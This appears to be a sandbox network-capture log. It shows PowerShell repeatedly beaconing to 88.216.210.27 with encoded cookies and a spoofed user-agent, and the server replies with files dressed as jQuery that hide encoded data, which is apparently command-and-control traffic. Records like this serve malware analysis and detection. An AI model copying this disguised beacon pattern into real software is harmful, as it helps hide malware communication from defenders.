Apr 9, 2023 02:59:11.538639069 CEST	395	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:11.538702011 CEST	396	IN	Data Raw: 4f 48 44 45 48 49 4b 41 44 41 41 4e 44 44 48 41 42 45 47 4d 4c 49 47 4a 4d 4d 48 41 4b 4a 47 47 46 43 4e 41 49 47 50 4d 4e 44 47 43 47 43 42 44 48 50 45 45 4e 4c 50 45 47 49 41 4d 48 4f 50 46 42 41 49 4e 4d 49 43 4e 43 47 49 50 43 4a 49 4b 43 43 Data Ascii: OHDEHIKADAANDDHABEGMLIGJMMHAKJGGFCNAIGPMNDGCGCBDHPEENLPEGIAMHOPFBAINMICNCGIPCJIKCCGKNNOCAJDBBHPBPIKOAODINCJMCHNMLAHBPKDEDIMKNDPKIFEPELLPAFNMOMOPKEFJIHJGDGDFDBIGAMPIKKDJBMNPBJGBIIAFCHONMBPPOCMMOGGOOJHODJDENKBPLJGKCIGJFOBFOGAIBCPDILKKGENIDIGMEFA

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.5	49760	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:11.830013990 CEST	397	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=m79_mMB8H98RSNCZommR-GHD_PP2-D_CDPDWVTST5p-4iAjoiST5j2O1AkInQp_3c9Z6lZiToqZYxnjFjRNTwz1hs33xAmomEaUjwMfo4P4Po3nDqxnT7dnHgX2zzzmyXzn8E9MRF8MpRVtsllO7Qwgx_p5JrwROW6cOtNZtfiGui2c1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:11.995449066 CEST	398	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:11 GMT Server: CloudFront Content-Length: 2260 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:11.995493889 CEST	399	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:11.995527983 CEST	400	IN	Data Raw: 41 45 44 4a 4d 50 47 4c 4e 45 49 4c 50 4b 48 45 4e 47 47 4e 44 43 4d 43 44 47 4f 4c 44 50 48 45 44 45 41 44 46 4f 49 4a 46 4c 4c 45 50 4a 47 4d 44 41 43 50 49 4b 49 4b 45 47 4e 46 47 4e 41 4c 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 Data Ascii: AEDJMPGLNEILPKHENGGNDCMCDGOLDPHEDEADFOIJFLLEPJGMDACPIKIKEGNFGNAL/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? mo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.5	49761	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:12.277676105 CEST	401	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=5qcPRr1kbwFsUKBH33HhJhzbjC2L4E8cceimi0mLlkHFkHg29DyJUR6tcpxaWu8pDs4KS-WL0ngl3ggb8AsjHUB5w6OMGhr4bL1THrrwkCByuwkd1gGjM6Tf8aPO10lsIiGMza4JZx1UXSuy60vLnXUpjkA0t3SQJr9-aqt1Dv_Tkxfr User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:12.432189941 CEST	402	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:12 GMT Server: CloudFront Content-Length: 2612 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:12.432267904 CEST	403	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:12.432297945 CEST	404	IN	Data Raw: 43 42 42 4b 41 47 41 4d 4c 41 47 4f 48 4f 46 4a 48 45 41 4b 4f 44 4e 4c 4f 4c 50 4b 4e 41 49 41 50 4d 50 4d 43 4b 50 4d 4f 50 45 4f 43 45 4d 4d 46 41 41 43 49 4d 45 48 4f 4e 4a 4e 42 50 49 4a 4b 4d 44 49 50 45 4e 44 4b 48 50 4a 4f 49 4d 4e 4a 4a Data Ascii: CBBKAGAMLAGOHOFJHEAKODNLOLPKNAIAPMPMCKPMOPEOCEMMFAACIMEHONJNBPIJKMDIPENDKHPJOIMNJJCGMNJLJIAINDJHEHLMEIHIIAJMNKCIBELLPDEMHMNMNLDDBIPBNPEIHKLCEFOJFIANGFCJKHFPODDEPLCKKMEBDNIHJNIOHNEAPMEAAHPHHMPDIJMEINHAHKMCHAIPBAGBELHGFIPPEOMDDLJJDHCLKOAFODJGMCK
Apr 9, 2023 02:59:12.432326078 CEST	404	IN	Data Raw: 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: e(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.5	49762	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:12.689071894 CEST	405	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=cv49-Ck9Xb_4CZL5SyjTmIiCvpMfuX2i5bGUNd3SpP9RyUqIYGW774r0QCLOA92Xmpc49XHS4MaxhzqlZFIRo9Qg8R0YQyhG-ORhoC6pop7m4jujQliRjTCGwx1ajnvStni-czpQVaPABBkMfxL5I-FwvP6g7kYusuZM1D8sPEFHyiVV User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:12.838115931 CEST	406	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:12 GMT Server: CloudFront Content-Length: 2612 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:12.838146925 CEST	407	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:12.838166952 CEST	408	IN	Data Raw: 48 42 4e 4b 4d 47 4a 49 48 47 43 4b 46 4a 46 45 44 4d 4d 49 50 44 48 50 48 4d 41 44 4a 48 4d 44 4c 4b 4f 42 46 45 4f 41 47 4a 4b 45 4c 45 4b 4d 41 4b 4c 4a 47 48 4b 4f 42 4b 50 49 49 42 4c 4e 4b 43 45 4d 48 50 48 4b 42 49 43 4a 50 43 4d 46 46 4a Data Ascii: HBNKMGJIHGCKFJFEDMMIPDHPHMADJHMDLKOBFEOAGJKELEKMAKLJGHKOBKPIIBLNKCEMHPHKBICJPCMFFJFOMNLBIPILLNLFCIDHJLKHGHOKAJHJFMAMBEHBEGDELDBOFHFKPCKIPHKPFDNFLEFANMIGLFKKCNABKGCBFAEHEOBOHKOMPMCKODJADNEKBGHBCJCKMJJHGEOBHEBEJEGMCBDCDBFKPAOPOLNFOCFPDHELEJJHPHI
Apr 9, 2023 02:59:12.838186026 CEST	408	IN	Data Raw: 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: e(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.5	49763	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:13.099004030 CEST	409	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=IUFg73qCAKirts_uGJeOj9s944RMBiC1tg7JIo5t-egCdhefM9rm-NlLHTWdvICAyShl4iJtvdHiOGeyN-1MtIefrApL_HVRq1s8t30W_4m1XWa0EefMmmM5ngoJMSbF5cfjZGnvCLSTu0QbLK2kNLLP4enzURs54VkRw2yTYVYUdXhC User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:13.247672081 CEST	410	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:13 GMT Server: CloudFront Content-Length: 2612 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:13.247704029 CEST	411	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:13.247724056 CEST	412	IN	Data Raw: 4f 48 4e 48 45 48 47 43 4a 4a 50 43 4d 46 4e 4f 4a 45 4f 44 4d 4a 4d 47 48 47 4c 4c 4a 50 4d 42 4e 4e 4e 44 4e 42 4b 45 4b 4b 46 49 4d 46 50 4f 4e 42 45 45 4b 45 47 44 4f 46 45 42 4c 46 4f 45 41 49 4b 47 4e 42 4a 50 4c 42 4d 47 4a 4a 4a 47 42 44 Data Ascii: OHNHEHGCJJPCMFNOJEODMJMGHGLLJPMBNNNDNBKEKKFIMFPONBEEKEGDOFEBLFOEAIKGNBJPLBMGJJJGBDOPEFDEOMMBHCNEFFKHHJEIFADOKMMEDEKAAEOOADGOFLJJBEOEOLDBMLGOCBKGDHMJCHEAILPKAHCHPJFLLCNIELJHKPEIOKHLKDJEALKFENHNGPBJKCDLENBBNABJIBGOCEOPAEIIHEIFDEJGIGENINKIGKMNFNC
Apr 9, 2023 02:59:13.247745037 CEST	412	IN	Data Raw: 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: e(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49692	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:42.076037884 CEST	135	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=LSrJu3bpqfyn3Wa6FPwn29dWStBAbYnhumVgdoIGULwOHb7LP7FPrNUgtGGR1ynUxUPMti4GFIXuU87mO4bl4Iv0BV5Hl9wFpzCV43F9Vt25Ns_gHYxlzm9SN14FWo-R6axKMGWEoeCf0O1PIMYNYL6kSL3_OrJt7TK4l2D4yAIYHtEW User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:42.226232052 CEST	136	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:42 GMT Server: CloudFront Content-Length: 2484 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:42.226628065 CEST	137	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:42.226665020 CEST	138	IN	Data Raw: 50 45 4a 4e 46 4e 45 43 41 46 50 47 4c 4c 43 4d 41 4f 4d 45 49 4c 4f 44 48 41 44 4c 4e 49 4e 4c 42 48 4d 41 4a 4b 45 49 44 4b 45 4d 48 42 49 42 47 43 46 49 41 4c 4a 4b 4c 4a 43 4b 46 4e 42 4f 48 4e 46 43 43 44 4d 4b 41 44 42 44 4c 42 4d 46 4c 44 Data Ascii: PEJNFNECAFPGLLCMAOMEILODHADLNINLBHMAJKEIDKEMHBIBGCFIALJKLJCKFNBOHNFCCDMKADBDLBMFLDBENJLFOOPOIIKHNGLKFKDNOLHDCNKAOFKOPHEKIHKIFLHBGBIHBKBBJMMFNGMMIOFMBAPLCOOPKELMKDCHAPCIBAFKMIFDMCPKBJDCJOECMJBMCFMEIFIFAAPKMKAFNGGPAICOBILOMIMAAODKJDMNCJBKCMGIAIC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.5	49764	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:13.525232077 CEST	413	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=LJB3_HdTF7umZ9j9FUaZnNbs9JdB1zemu9_eMYO87vsPpwCMPgvx69SaCiaQbZeTxPly8S-8qsLv6XChOjxbp4pOuxlGLWJCpoorpHDH6Jq4jHGnHDbbiW7oiRkE4DHW6Bb0d2Q-H6eealMIIXyzJ78e9vr-gAwq7IgG0GFCdkUZpG9R User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:13.679455042 CEST	414	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:13 GMT Server: CloudFront Content-Length: 2612 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:13.679501057 CEST	415	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:13.679517984 CEST	416	IN	Data Raw: 44 50 45 4a 4c 44 45 41 44 41 48 50 50 4a 4f 4e 4d 46 44 47 44 47 47 4e 47 4e 4e 41 42 4f 48 42 4a 50 47 4d 49 4a 42 4c 44 4b 42 4f 50 49 4f 46 44 4a 42 45 44 49 42 45 4e 46 50 4b 4a 44 4b 4b 4d 41 4d 4c 47 48 4a 4a 43 49 45 49 4d 46 4a 50 42 4f Data Ascii: DPEJLDEADAHPPJONMFDGDGGNGNNABOHBJPGMIJBLDKBOPIOFDJBEDIBENFPKJDKKMAMLGHJJCIEIMFJPBOBLLGCPJGCACMBKHGJKJNNJMIPBAKLPAAHDPCOMINIDOKGAILBGFICPFODBGBFOFNJOHFHEIOPFNIOHFHDLBDEDHJFABOBNHFOINJEJOKINLOLJAHLIHHIEKIFDEGHBPHNMEJMFKJNOIOKHJNIFEOAPKOFINOKKBPL
Apr 9, 2023 02:59:13.679532051 CEST	416	IN	Data Raw: 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: e(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.5	49765	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:13.967870951 CEST	417	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=biMvDTXgT0rk1IAMV_XBbZRfrGYDZG9X-WyGwMEPtgpNFFh9fLipGpYpUtfS3s9ihkoqAG0P8jOtWihQeI8DVsj94-gEnjqz5DlzVTJ0sGv6PylWXoWDeCxb0ehGU2knqqWshiaNR1bc2Qv5Y8_r1v2trgu8M1TbrjteISPxLrRbFzeg User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:14.131901026 CEST	418	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:14 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:14.131974936 CEST	419	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:14.132006884 CEST	420	IN	Data Raw: 4f 42 41 4d 42 49 4b 4f 4b 4f 44 43 44 4c 45 4e 44 42 4c 44 50 47 4d 43 49 43 45 44 4e 4e 4c 44 42 49 4c 4e 4c 50 4e 49 4c 43 48 44 44 47 4e 4f 48 44 48 42 46 49 43 47 4a 4a 41 4c 47 50 47 43 4c 42 47 4f 4f 4a 47 43 46 42 4a 4f 49 47 4b 43 44 4c Data Ascii: OBAMBIKOKODCDLENDBLDPGMCICEDNNLDBILNLPNILCHDDGNOHDHBFICGJJALGPGCLBGOOJGCFBJOIGKCDLFDCGGLBKENBAHIFKKFOEEEKFADNLOJLPOHDKLNLIPIBNLE/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.5	49766	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:14.395103931 CEST	421	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=WBqb_APZ-7vS7TT9Ycx1nKJmGJc1Xdumz1UyMfc2Avt7LeyMSoEd66AQ5ibk53uTsHOe8Vs2RsKbY5yhTra3p_7EVxkyp45C0gDHpARNBJrMBp2naLw3iRpiZRlwat3WnJwYdxC086fq4L8IVfZfJ8uUGvqKCuAqmALq0BXImkVtLoNR User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:14.543988943 CEST	421	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:14 GMT Server: CloudFront Content-Length: 2516 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:14.544024944 CEST	423	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:14.544058084 CEST	424	IN	Data Raw: 43 4a 4b 4f 4b 4b 48 50 4f 4c 4c 4e 42 44 4a 4a 45 45 4c 46 47 4d 43 4f 42 42 49 49 4f 48 42 4a 4c 42 4f 41 46 44 45 4c 43 47 41 43 46 41 44 49 45 4a 43 50 45 50 42 47 4a 4d 47 45 42 4f 4b 44 49 44 41 4c 41 44 43 4c 45 4c 43 46 50 50 46 50 42 4d Data Ascii: CJKOKKHPOLLNBDJJEELFGMCOBBIIOHBJLBOAFDELCGACFADIEJCPEPBGJMGEBOKDIDALADCLELCFPPFPBMAACGLOJHFLMNHIGCLMAJJLOGBGAGLDMHNPIDDJKHOCDBJIIGHADNONHOOIEACBGCOGGIEGAKCBLNFKFEIIBFIIFGHPJPPGBJDGCFEDLMDDIAIBGJOBLEDDKOCPCGEALNFHFMLFCPCFDEHGLGNMJEHNAEFNGFHJFHO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.5	49767	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:14.809468985 CEST	425	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=WKjcXgNrvBnSX3NfYX4yPqLUXzU175wEz-d1k_eERVl7n6suSjNaSaCioYTkVTwxsMHZU1uEAWCb0dsDTgTwBf52ELsyFcng0rKABgT_QzjMtNoFaA5wKxrQIrtw2Jp0nC5f1RAGtAXqUviqVUQYhcsmXViKuKeImLCtchV63edtnMTz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:14.958352089 CEST	426	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:14 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:14.958400965 CEST	427	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:14.958435059 CEST	428	IN	Data Raw: 46 46 4b 47 4e 46 4e 48 4f 4c 44 49 47 4a 43 48 48 4e 46 4e 4f 4f 48 41 49 45 4e 45 4e 4e 48 46 43 4c 4e 47 49 50 46 4f 4b 4d 46 4f 4d 4d 49 4d 43 41 42 41 4a 46 4a 48 46 44 47 4e 4e 45 49 4a 4d 42 50 44 4a 46 4d 4e 47 4d 46 43 43 45 47 43 47 42 Data Ascii: FFKGNFNHOLDIGJCHHNFNOOHAIENENNHFCLNGIPFOKMFOMMIMCABAJFJHFDGNNEIJMBPDJFMNGMFCCEGCGBPHHKJBHKANIGGDFBDNHMOEBHNIKHEANKDJAFPAJHIIDKEMCPAFICACAGOHMNFIJCPBMAPPNBIMJJJOLJCKCLAFBJAEAJOAEHKBNINBKKMPHKCF/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.5	49768	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
